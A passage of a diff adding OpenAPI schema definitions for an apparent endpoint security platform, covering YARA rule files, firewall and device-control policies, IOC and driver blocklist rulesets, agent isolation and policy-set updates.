+      rule_modified_date:
+        format: date
+        readOnly: true
+        title: Rule modified date
+        type: string
+        x-nullable: true
+      rule_name:
+        minLength: 1
+        readOnly: true
+        title: Rule name
+        type: string
+        x-nullable: true
+      rule_os:
+        enum:
+          - linux
+          - macos
+          - unknown
+          - windows
+        readOnly: true
+        title: Rule os
+        type: string
+      rule_status:
+        minLength: 1
+        readOnly: true
+        title: Rule status
+        type: string
+        x-nullable: true
+      rule_tactic_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule tactic tags
+          type: string
+        readOnly: true
+        type: array
+      rule_technique_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule technique tags
+          type: string
+        readOnly: true
+        type: array
+      rule_type:
+        readOnly: true
+        title: Rule type
+        type: string
+      source:
+        readOnly: true
+        title: Source
+        type: string
+      source_id:
+        minLength: 1
+        title: Source id
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      test_maturity_current_count:
+        readOnly: true
+        title: Test maturity current count
+        type: integer
+      test_maturity_delay:
+        readOnly: true
+        title: Test maturity delay
+        type: integer
+      test_maturity_threshold:
+        readOnly: true
+        title: Test maturity threshold
+        type: integer
+      warnings:
+        minLength: 1
+        readOnly: true
+        title: Warnings
+        type: string
+        x-nullable: true
+      whitelist_count:
+        readOnly: true
+        title: Whitelist count
+        type: integer
+    required:
+      - content
+      - name
+      - source_id
+    type: object
+  _CreateYaraFile:
+    properties:
+      alert_count:
+        readOnly: true
+        title: Alert count
+        type: integer
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      content:
+        minLength: 1
+        title: Content
+        type: string
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      hl_local_testing_status:
+        description: deprecated
+        title: Hl local testing status
+        type: string
+        x-nullable: true
+      hl_status:
+        enum:
+          - experimental
+          - stable
+          - testing
+        title: Hl status
+        type: string
+      hl_testing_start_time:
+        format: date-time
+        readOnly: true
+        title: Hl testing start time
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 1024
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      overwrite:
+        default: false
+        title: Overwrite
+        type: boolean
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      references:
+        items:
+          minLength: 1
+          title: References
+          type: string
+        type: array
+      rule_classifications:
+        items:
+          minLength: 1
+          title: Rule classifications
+          type: string
+        readOnly: true
+        type: array
+      rule_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule confidence
+        type: string
+        x-nullable: true
+      rule_confidence_override:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence override
+        type: string
+        x-nullable: true
+      rule_context:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule context
+          type: string
+        type: array
+      rule_count:
+        readOnly: true
+        title: Rule count
+        type: integer
+      rule_creation_date:
+        format: date
+        readOnly: true
+        title: Rule creation date
+        type: string
+        x-nullable: true
+      rule_effective_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule effective confidence
+        type: string
+      rule_effective_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule effective level
+        type: string
+      rule_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level
+        type: string
+        x-nullable: true
+      rule_level_overridden:
+        readOnly: true
+        title: Rule level overridden
+        type: boolean
+      rule_level_override:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level override
+        type: string
+        x-nullable: true
+      rule_modified_date:
+        format: date
+        readOnly: true
+        title: Rule modified date
+        type: string
+        x-nullable: true
+      rule_names:
+        items:
+          minLength: 1
+          title: Rule names
+          type: string
+        readOnly: true
+        type: array
+      rule_os:
+        items:
+          enum:
+            - linux
+            - macos
+            - unknown
+            - windows
+          title: Rule os
+          type: string
+        readOnly: true
+        type: array
+      rule_score:
+        readOnly: true
+        title: Rule score
+        type: integer
+        x-nullable: true
+      rule_tactic_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule tactic tags
+          type: string
+        readOnly: true
+        type: array
+      rule_technique_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule technique tags
+          type: string
+        readOnly: true
+        type: array
+      source:
+        readOnly: true
+        title: Source
+        type: string
+      source_id:
+        minLength: 1
+        title: Source id
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      test_maturity_current_count:
+        readOnly: true
+        title: Test maturity current count
+        type: integer
+      test_maturity_delay:
+        readOnly: true
+        title: Test maturity delay
+        type: integer
+      test_maturity_threshold:
+        readOnly: true
+        title: Test maturity threshold
+        type: integer
+    required:
+      - content
+      - name
+      - source_id
+    type: object
+  _DeleteAgentResponse:
+    properties:
+      removed:
+        title: Removed
+        type: integer
+      status:
+        minLength: 1
+        title: Status
+        type: string
+    required:
+      - removed
+      - status
+    type: object
+  _DeleteTimelineResponse:
+    properties:
+      removed:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      status:
+        minLength: 1
+        title: Status
+        type: string
+    required:
+      - removed
+      - status
+    type: object
+  _DeviceControlCodeDetailsResponse:
+    properties:
+      code:
+        default: unknown_error
+        enum:
+          - default_policy_protection
+          - endpoint_policy_not_found
+          - multiple_policy_deleted
+          - no_policy_deleted
+          - not_owned_policy
+          - ordering_mismatching_usb_rule_count
+          - ordering_wrong_usb_rule_id
+          - policy_in_use
+          - policy_update_failed
+          - policy_with_same_name_exists
+          - unknown_error
+        title: Code
+        type: string
+      details:
+        minLength: 1
+        title: Details
+        type: string
+    required:
+      - details
+    type: object
+  _DeviceControlPolicyInUseResponse:
+    properties:
+      agent_policy:
+        items:
+          $ref: '#/definitions/AgentPolicyIdAndName'
+        type: array
+      code:
+        default: unknown_error
+        enum:
+          - default_policy_protection
+          - endpoint_policy_not_found
+          - multiple_policy_deleted
+          - no_policy_deleted
+          - not_owned_policy
+          - ordering_mismatching_usb_rule_count
+          - ordering_wrong_usb_rule_id
+          - policy_in_use
+          - policy_update_failed
+          - policy_with_same_name_exists
+          - unknown_error
+        title: Code
+        type: string
+      details:
+        minLength: 1
+        title: Details
+        type: string
+    required:
+      - agent_policy
+      - details
+    type: object
+  _DeviceControlPolicyMassDeleteResponse:
+    properties:
+      code:
+        default: unknown_error
+        enum:
+          - default_policy_protection
+          - endpoint_policy_not_found
+          - multiple_policy_deleted
+          - no_policy_deleted
+          - not_owned_policy
+          - ordering_mismatching_usb_rule_count
+          - ordering_wrong_usb_rule_id
+          - policy_in_use
+          - policy_update_failed
+          - policy_with_same_name_exists
+          - unknown_error
+        title: Code
+        type: string
+      deleted_policies:
+        title: Deleted policies
+        type: integer
+      details:
+        minLength: 1
+        title: Details
+        type: string
+    required:
+      - details
+    type: object
+  _DeviceControlPolicyUsbRuleDuplicateResponse:
+    properties:
+      new_id:
+        minLength: 1
+        title: New id
+        type: string
+      new_name:
+        minLength: 1
+        title: New name
+        type: string
+      status:
+        minLength: 1
+        title: Status
+        type: string
+    required:
+      - new_id
+      - new_name
+      - status
+    type: object
+  _DeviceControlPolicyUsbRuleOrdering:
+    properties:
+      ordered_usb_rules_ids:
+        items:
+          format: uuid
+          type: string
+        type: array
+    required:
+      - ordered_usb_rules_ids
+    type: object
+  _DeviceScanHistory:
+    properties:
+      asset:
+        $ref: '#/definitions/NDAsset'
+      job_instance:
+        $ref: '#/definitions/JobInstance'
+      kpis:
+        $ref: '#/definitions/KPI'
+      scan_date:
+        format: date-time
+        readOnly: true
+        title: Scan date
+        type: string
+      scanning_agent:
+        $ref: '#/definitions/_LightAgent'
+    type: object
+  _DisassembleParams:
+    properties:
+      dumps:
+        items:
+          type: string
+          x-nullable: true
+        type: array
+    required:
+      - dumps
+    type: object
+  _Disassembly:
+    properties:
+      bpf:
+        title: Bpf
+        type: string
+      raw:
+        title: Raw
+        type: string
+      x86_32:
+        title: X86 32
+        type: string
+      x86_64:
+        title: X86 64
+        type: string
+    required:
+      - raw
+      - x86_32
+      - x86_64
+    type: object
+  _Domain:
+    properties:
+      domains:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - domains
+    type: object
+  _DomainController:
+    properties:
+      dnsdomainname:
+        minLength: 1
+        title: Dnsdomainname
+        type: string
+      domain_controller:
+        minLength: 1
+        title: Domain controller
+        type: string
+    required:
+      - dnsdomainname
+      - domain_controller
+    type: object
+  _DriverBlocklistPagination:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/DriverBlocklist'
+        type: array
+      source:
+        $ref: '#/definitions/DriverBlocklistSource'
+    required:
+      - count
+      - results
+    type: object
+  _DriverBlocklistRulesetPagination:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/DriverBlocklistRulesetRule'
+        type: array
+      source:
+        $ref: '#/definitions/DriverBlocklistSource'
+    required:
+      - count
+      - results
+    type: object
+  _DriverBlocklistRulesetSourcePagination:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/DriverBlocklistRulesetSource'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  _DriverRulesetResponse:
+    properties:
+      actions:
+        $ref: '#/definitions/Actions'
+      rule_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      set_default:
+        title: Set default
+        type: boolean
+      source:
+        $ref: '#/definitions/DriverBlocklistRulesetSource'
+      state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        title: State
+        type: string
+    required:
+      - rule_ids
+      - set_default
+      - source
+      - state
+    type: object
+  _EditMaintenanceNotice:
+    properties:
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      end_date:
+        format: date-time
+        title: End date
+        type: string
+      lifespan:
+        title: Lifespan
+        type: string
+      title:
+        minLength: 1
+        title: Title
+        type: string
+    required:
+      - description
+      - title
+    type: object
+  _ExplorerListResponse:
+    properties:
+      data:
+        items:
+          $ref: '#/definitions/Search'
+        type: array
+      recordsFiltered:
+        title: Recordsfiltered
+        type: integer
+      recordsTotal:
+        title: Recordstotal
+        type: integer
+    required:
+      - data
+      - recordsFiltered
+      - recordsTotal
+    type: object
+  _FIMPolicyInUseResponse:
+    properties:
+      agent_policies:
+        items:
+          $ref: '#/definitions/AgentPolicyIdAndName'
+        type: array
+      code:
+        default: unknown_error
+        enum:
+          - default_policy_protection
+          - endpoint_policy_not_found
+          - multiple_policy_deleted
+          - no_policy_deleted
+          - not_owned_policy
+          - policy_in_use
+          - policy_update_failed
+          - policy_with_same_name_exists
+          - unknown_error
+        title: Code
+        type: string
+      details:
+        minLength: 1
+        title: Details
+        type: string
+    required:
+      - agent_policies
+      - details
+    type: object
+  _FirewallNetworkCopyResponse:
+    properties:
+      code:
+        default: unknown_error
+        enum:
+          - default_policy_protection
+          - default_profile_protection
+          - endpoint_policy_not_found
+          - multiple_network_deleted
+          - multiple_policy_deleted
+          - multiple_profile_deleted
+          - network_in_use
+          - network_update_failed
+          - no_network_deleted
+          - no_policy_deleted
+          - no_profile_deleted
+          - not_owned_network
+          - not_owned_policy
+          - not_owned_profile
+          - ordering_mismatching_rule_count
+          - ordering_wrong_rule_id
+          - policy_in_use
+          - policy_update_failed
+          - policy_with_same_name_exists
+          - profile_in_use
+          - profile_update_failed
+          - rule_update_failed
+          - unknown_error
+        title: Code
+        type: string
+      details:
+        minLength: 1
+        title: Details
+        type: string
+      new_id:
+        minLength: 1
+        title: New id
+        type: string
+      new_name:
+        minLength: 1
+        title: New name
+        type: string
+    required:
+      - details
+      - new_id
+      - new_name
+    type: object
+  _FirewallNetworkInUseResponse:
+    properties:
+      code:
+        default: unknown_error
+        enum:
+          - default_policy_protection
+          - default_profile_protection
+          - endpoint_policy_not_found
+          - multiple_network_deleted
+          - multiple_policy_deleted
+          - multiple_profile_deleted
+          - network_in_use
+          - network_update_failed
+          - no_network_deleted
+          - no_policy_deleted
+          - no_profile_deleted
+          - not_owned_network
+          - not_owned_policy
+          - not_owned_profile
+          - ordering_mismatching_rule_count
+          - ordering_wrong_rule_id
+          - policy_in_use
+          - policy_update_failed
+          - policy_with_same_name_exists
+          - profile_in_use
+          - profile_update_failed
+          - rule_update_failed
+          - unknown_error
+        title: Code
+        type: string
+      details:
+        minLength: 1
+        title: Details
+        type: string
+      firewall_policy:
+        items:
+          $ref: '#/definitions/FirewallPolicyIdAndName'
+        type: array
+    required:
+      - details
+      - firewall_policy
+    type: object
+  _FirewallNetworkMassDeleteResponse:
+    properties:
+      code:
+        default: unknown_error
+        enum:
+          - default_policy_protection
+          - default_profile_protection
+          - endpoint_policy_not_found
+          - multiple_network_deleted
+          - multiple_policy_deleted
+          - multiple_profile_deleted
+          - network_in_use
+          - network_update_failed
+          - no_network_deleted
+          - no_policy_deleted
+          - no_profile_deleted
+          - not_owned_network
+          - not_owned_policy
+          - not_owned_profile
+          - ordering_mismatching_rule_count
+          - ordering_wrong_rule_id
+          - policy_in_use
+          - policy_update_failed
+          - policy_with_same_name_exists
+          - profile_in_use
+          - profile_update_failed
+          - rule_update_failed
+          - unknown_error
+        title: Code
+        type: string
+      deleted_network_blocks:
+        title: Deleted network blocks
+        type: integer
+      deleted_networks:
+        title: Deleted networks
+        type: integer
+      details:
+        minLength: 1
+        title: Details
+        type: string
+    required:
+      - details
+    type: object
+  _FirewallPolicyInUseResponse:
+    properties:
+      agent_policy:
+        items:
+          $ref: '#/definitions/AgentPolicyIdAndName'
+        type: array
+      code:
+        default: unknown_error
+        enum:
+          - default_policy_protection
+          - default_profile_protection
+          - endpoint_policy_not_found
+          - multiple_network_deleted
+          - multiple_policy_deleted
+          - multiple_profile_deleted
+          - network_in_use
+          - network_update_failed
+          - no_network_deleted
+          - no_policy_deleted
+          - no_profile_deleted
+          - not_owned_network
+          - not_owned_policy
+          - not_owned_profile
+          - ordering_mismatching_rule_count
+          - ordering_wrong_rule_id
+          - policy_in_use
+          - policy_update_failed
+          - policy_with_same_name_exists
+          - profile_in_use
+          - profile_update_failed
+          - rule_update_failed
+          - unknown_error
+        title: Code
+        type: string
+      details:
+        minLength: 1
+        title: Details
+        type: string
+    required:
+      - agent_policy
+      - details
+    type: object
+  _FirewallPolicyMassDeleteResponse:
+    properties:
+      code:
+        default: unknown_error
+        enum:
+          - default_policy_protection
+          - default_profile_protection
+          - endpoint_policy_not_found
+          - multiple_network_deleted
+          - multiple_policy_deleted
+          - multiple_profile_deleted
+          - network_in_use
+          - network_update_failed
+          - no_network_deleted
+          - no_policy_deleted
+          - no_profile_deleted
+          - not_owned_network
+          - not_owned_policy
+          - not_owned_profile
+          - ordering_mismatching_rule_count
+          - ordering_wrong_rule_id
+          - policy_in_use
+          - policy_update_failed
+          - policy_with_same_name_exists
+          - profile_in_use
+          - profile_update_failed
+          - rule_update_failed
+          - unknown_error
+        title: Code
+        type: string
+      deleted_policies:
+        title: Deleted policies
+        type: integer
+      deleted_profile_to_networks:
+        title: Deleted profile to networks
+        type: integer
+      details:
+        minLength: 1
+        title: Details
+        type: string
+    required:
+      - details
+    type: object
+  _FirewallProfileCopyResponse:
+    properties:
+      code:
+        default: unknown_error
+        enum:
+          - default_policy_protection
+          - default_profile_protection
+          - endpoint_policy_not_found
+          - multiple_network_deleted
+          - multiple_policy_deleted
+          - multiple_profile_deleted
+          - network_in_use
+          - network_update_failed
+          - no_network_deleted
+          - no_policy_deleted
+          - no_profile_deleted
+          - not_owned_network
+          - not_owned_policy
+          - not_owned_profile
+          - ordering_mismatching_rule_count
+          - ordering_wrong_rule_id
+          - policy_in_use
+          - policy_update_failed
+          - policy_with_same_name_exists
+          - profile_in_use
+          - profile_update_failed
+          - rule_update_failed
+          - unknown_error
+        title: Code
+        type: string
+      details:
+        minLength: 1
+        title: Details
+        type: string
+      new_id:
+        minLength: 1
+        title: New id
+        type: string
+      new_name:
+        minLength: 1
+        title: New name
+        type: string
+    required:
+      - details
+      - new_id
+      - new_name
+    type: object
+  _FirewallProfileInUseResponse:
+    properties:
+      code:
+        default: unknown_error
+        enum:
+          - default_policy_protection
+          - default_profile_protection
+          - endpoint_policy_not_found
+          - multiple_network_deleted
+          - multiple_policy_deleted
+          - multiple_profile_deleted
+          - network_in_use
+          - network_update_failed
+          - no_network_deleted
+          - no_policy_deleted
+          - no_profile_deleted
+          - not_owned_network
+          - not_owned_policy
+          - not_owned_profile
+          - ordering_mismatching_rule_count
+          - ordering_wrong_rule_id
+          - policy_in_use
+          - policy_update_failed
+          - policy_with_same_name_exists
+          - profile_in_use
+          - profile_update_failed
+          - rule_update_failed
+          - unknown_error
+        title: Code
+        type: string
+      details:
+        minLength: 1
+        title: Details
+        type: string
+      firewall_policy:
+        items:
+          $ref: '#/definitions/FirewallPolicyIdAndName'
+        type: array
+    required:
+      - details
+      - firewall_policy
+    type: object
+  _FirewallProfileMassDeleteResponse:
+    properties:
+      code:
+        default: unknown_error
+        enum:
+          - default_policy_protection
+          - default_profile_protection
+          - endpoint_policy_not_found
+          - multiple_network_deleted
+          - multiple_policy_deleted
+          - multiple_profile_deleted
+          - network_in_use
+          - network_update_failed
+          - no_network_deleted
+          - no_policy_deleted
+          - no_profile_deleted
+          - not_owned_network
+          - not_owned_policy
+          - not_owned_profile
+          - ordering_mismatching_rule_count
+          - ordering_wrong_rule_id
+          - policy_in_use
+          - policy_update_failed
+          - policy_with_same_name_exists
+          - profile_in_use
+          - profile_update_failed
+          - rule_update_failed
+          - unknown_error
+        title: Code
+        type: string
+      deleted_profiles:
+        title: Deleted profiles
+        type: integer
+      deleted_rules:
+        title: Deleted rules
+        type: integer
+      details:
+        minLength: 1
+        title: Details
+        type: string
+    required:
+      - details
+    type: object
+  _FirewallProfileRuleOrdering:
+    properties:
+      ordered_rules_ids:
+        items:
+          format: uuid
+          type: string
+        type: array
+    required:
+      - ordered_rules_ids
+    type: object
+  _FirewallRuleCopyResponse:
+    properties:
+      new_id:
+        minLength: 1
+        title: New id
+        type: string
+      new_name:
+        minLength: 1
+        title: New name
+        type: string
+      status:
+        minLength: 1
+        title: Status
+        type: string
+    required:
+      - new_id
+      - new_name
+      - status
+    type: object
+  _GeneratedPasswords:
+    properties:
+      passwords:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - passwords
+    type: object
+  _GetWhitelistRuleFieldsResponse:
+    properties:
+      fields:
+        items:
+          $ref: '#/definitions/AlertField'
+        type: array
+    required:
+      - fields
+    type: object
+  _GroupID:
+    properties:
+      group_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - group_ids
+    type: object
+  _HandlesList:
+    properties:
+      count:
+        title: Count
+        type: integer
+      results:
+        items:
+          $ref: '#/definitions/Handle'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  _IOCPagination:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/IOCRule'
+        type: array
+      source:
+        $ref: '#/definitions/IOCSource'
+    required:
+      - count
+      - results
+    type: object
+  _IOCRulesetPagination:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/IOCRulesetRule'
+        type: array
+      source:
+        $ref: '#/definitions/IOCSource'
+    required:
+      - count
+      - results
+    type: object
+  _IOCRulesetResponse:
+    properties:
+      actions:
+        $ref: '#/definitions/Actions'
+      rule_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      set_default:
+        title: Set default
+        type: boolean
+      source:
+        $ref: '#/definitions/IOCRulesetSource'
+      state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        title: State
+        type: string
+    required:
+      - rule_ids
+      - set_default
+      - source
+      - state
+    type: object
+  _IOCSourceRulesetPagination:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/IOCRulesetSource'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  _InvestigationStatus:
+    properties:
+      ids:
+        items:
+          type: string
+          x-nullable: true
+        type: array
+      new_status:
+        maximum: 4
+        minimum: 0
+        title: New status
+        type: integer
+    required:
+      - new_status
+    type: object
+  _InvestigationStatusStats:
+    properties:
+      new_status:
+        maximum: 4
+        minimum: 0
+        title: New status
+        type: integer
+      stats:
+        items:
+          type: object
+        type: array
+    required:
+      - new_status
+      - stats
+    type: object
+  _IsolationResponse:
+    properties:
+      policy_not_allowed:
+        items:
+          $ref: '#/definitions/_AgentInfo'
+        type: array
+      requested:
+        items:
+          $ref: '#/definitions/_AgentInfo'
+        type: array
+      unrequested:
+        items:
+          $ref: '#/definitions/_AgentInfo'
+        type: array
+      unsupported:
+        items:
+          $ref: '#/definitions/_AgentInfo'
+        type: array
+    type: object
+  _KpiCount:
+    properties:
+      count:
+        readOnly: true
+        title: Count
+        type: integer
+      kpi:
+        minLength: 1
+        readOnly: true
+        title: Kpi
+        type: string
+    type: object
+  _LightAgent:
+    properties:
+      hostname:
+        minLength: 1
+        readOnly: true
+        title: Hostname
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      ostype:
+        enum:
+          - linux
+          - macos
+          - unknown
+          - windows
+        readOnly: true
+        title: Ostype
+        type: string
+      version:
+        minLength: 1
+        readOnly: true
+        title: Version
+        type: string
+    type: object
+  _Login:
+    properties:
+      password:
+        minLength: 1
+        title: Password
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+    required:
+      - password
+      - username
+    type: object
+  _MFAMethodBackupCodesGeneration:
+    properties:
+      code:
+        minLength: 1
+        title: Code
+        type: string
+    required:
+      - code
+    type: object
+  _MFAMethodDeactivationValidator:
+    properties:
+      code:
+        minLength: 1
+        title: Code
+        type: string
+    type: object
+  _MainGraph:
+    properties:
+      graph:
+        $ref: '#/definitions/_AuthentGraph'
+    required:
+      - graph
+    type: object
+  _ManageAgentRequest:
+    properties:
+      agent_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      group_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    type: object
+  _ModulesList:
+    properties:
+      count:
+        title: Count
+        type: integer
+      results:
+        items:
+          $ref: '#/definitions/Module'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  _MonitoringAlerts:
+    properties:
+      alert_count_critical:
+        default: 0
+        title: Alert count critical
+        type: integer
+      alert_count_error:
+        default: 0
+        title: Alert count error
+        type: integer
+    type: object
+  _NamesAntivirusPolicy:
+    properties:
+      id:
+        format: uuid
+        title: Id
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        title: Origin stack id
+        type: string
+        x-nullable: true
+    required:
+      - id
+      - name
+    type: object
+  _OIDCActiveProviderPagination:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/OIDCActiveProvider'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  _OptionalUUID:
+    properties:
+      id:
+        default: ""
+        format: uuid
+        title: Id
+        type: string
+        x-nullable: true
+    type: object
+  _PolicyCopyResponse:
+    properties:
+      new_id:
+        minLength: 1
+        title: New id
+        type: string
+      new_name:
+        minLength: 1
+        title: New name
+        type: string
+      status:
+        minLength: 1
+        title: Status
+        type: string
+    required:
+      - new_id
+      - new_name
+      - status
+    type: object
+  _PolicySetCopyResponse:
+    properties:
+      new_id:
+        minLength: 1
+        title: New id
+        type: string
+      new_name:
+        minLength: 1
+        title: New name
+        type: string
+      status:
+        minLength: 1
+        title: Status
+        type: string
+    required:
+      - new_id
+      - new_name
+      - status
+    type: object
+  _PolicySetCustom:
+    properties:
+      agent_id:
+        format: uuid
+        title: Agent id
+        type: string
+      edits:
+        $ref: '#/definitions/PolicySetCreate'
+    required:
+      - agent_id
+      - edits
+    type: object
+  _PolicySetUpdate:
+    properties:
+      agent_count:
+        readOnly: true
+        title: Agent count
+        type: integer
+      agent_policy:
+        $ref: '#/definitions/PolicySetPolicyIdAndName'
+      agent_policy_id:
+        minLength: 1
+        title: Agent policy id
+        type: string
+      agent_policy_name:
+        minLength: 1
+        readOnly: true
+        title: Agent policy name
+        type: string
+      antivirus_policy:
+        $ref: '#/definitions/PolicySetPolicyIdAndName'
+      antivirus_policy_id:
+        minLength: 1
+        title: Antivirus policy id
+        type: string
+        x-nullable: true
+      antivirus_policy_name:
+        minLength: 1
+        readOnly: true
+        title: Antivirus policy name
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      creator:
+        title: Creator
+        type: integer
+        x-nullable: true
+      custom:
+        readOnly: true
+        title: Custom
+        type: boolean
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      device_control_policy:
+        $ref: '#/definitions/PolicySetPolicyIdAndName'
+      device_control_policy_id:
+        minLength: 1
+        title: Device control policy id
+        type: string
+        x-nullable: true
+      device_control_policy_name:
+        minLength: 1
+        readOnly: true
+        title: Device control policy name
+        type: string
+        x-nullable: true
+      fim_policy:
+        $ref: '#/definitions/PolicySetPolicyIdAndName'
+      fim_policy_id:
+        minLength: 1
+        title: Fim policy id
+        type: string
+        x-nullable: true
+      fim_policy_name:
+        minLength: 1
+        readOnly: true
+        title: Fim policy name
+        type: string
+        x-nullable: true
+      firewall_policy:
+        $ref: '#/definitions/PolicySetPolicyIdAndName'
+      firewall_policy_id:
+        minLength: 1
+        title: Firewall policy id
+        type: string
+        x-nullable: true
+      firewall_policy_name:
+        minLength: 1
+        readOnly: true
+        title: Firewall policy name
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      last_modifier:
+        title: Last modifier
+        type: integer
+        x-nullable: true
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        maxLength: 64
+        minLength: 1
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      parent_policy_set:
+        $ref: '#/definitions/PolicySetPolicies'
+      parent_policy_set_id:
+        format: uuid
+        title: Parent policy set id
+        type: string
+        x-nullable: true
+      revision:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Revision
+        type: integer
+      synchronization_status:
+        format: uuid
+        title: Synchronization status
+        type: string
+        x-nullable: true
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      updated_fields:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Updated fields
+        type: object
+      vulnerability_policy:
+        $ref: '#/definitions/PolicySetPolicyIdAndName'
+      vulnerability_policy_id:
+        minLength: 1
+        title: Vulnerability policy id
+        type: string
+        x-nullable: true
+      vulnerability_policy_name:
+        minLength: 1
+        readOnly: true
+        title: Vulnerability policy name
+        type: string
+        x-nullable: true
+    required:
+      - agent_policy_id
+      - antivirus_policy_id
+      - device_control_policy_id
+      - fim_policy_id
+      - firewall_policy_id
+      - name
+      - updated_fields
+      - vulnerability_policy_id
+    type: object
+  _PolicyUpdate:
+    properties:
+      agent_auto_forget:
+        default: false
+        title: Agent auto forget
+        type: boolean
+      agent_auto_forget_max_days:
+        default: 1
+        minimum: 1
+        title: Agent auto forget max days
+        type: integer
+      agent_auto_update:
+        title: Agent auto update
+        type: boolean
+      agent_count:
+        readOnly: true
+        title: Agent count
+        type: integer
+      agent_ui_admin_message:
+        title: Agent ui admin message
+        type: string
+        x-nullable: true
+      agent_ui_enabled:
+        title: Agent ui enabled
+        type: boolean
+      agent_ui_notification_level:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Agent ui notification level
+        type: integer
+      agent_ui_notification_scope:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Agent ui notification scope
+        type: integer
+      agent_upgrade_strategy:
+        enum:
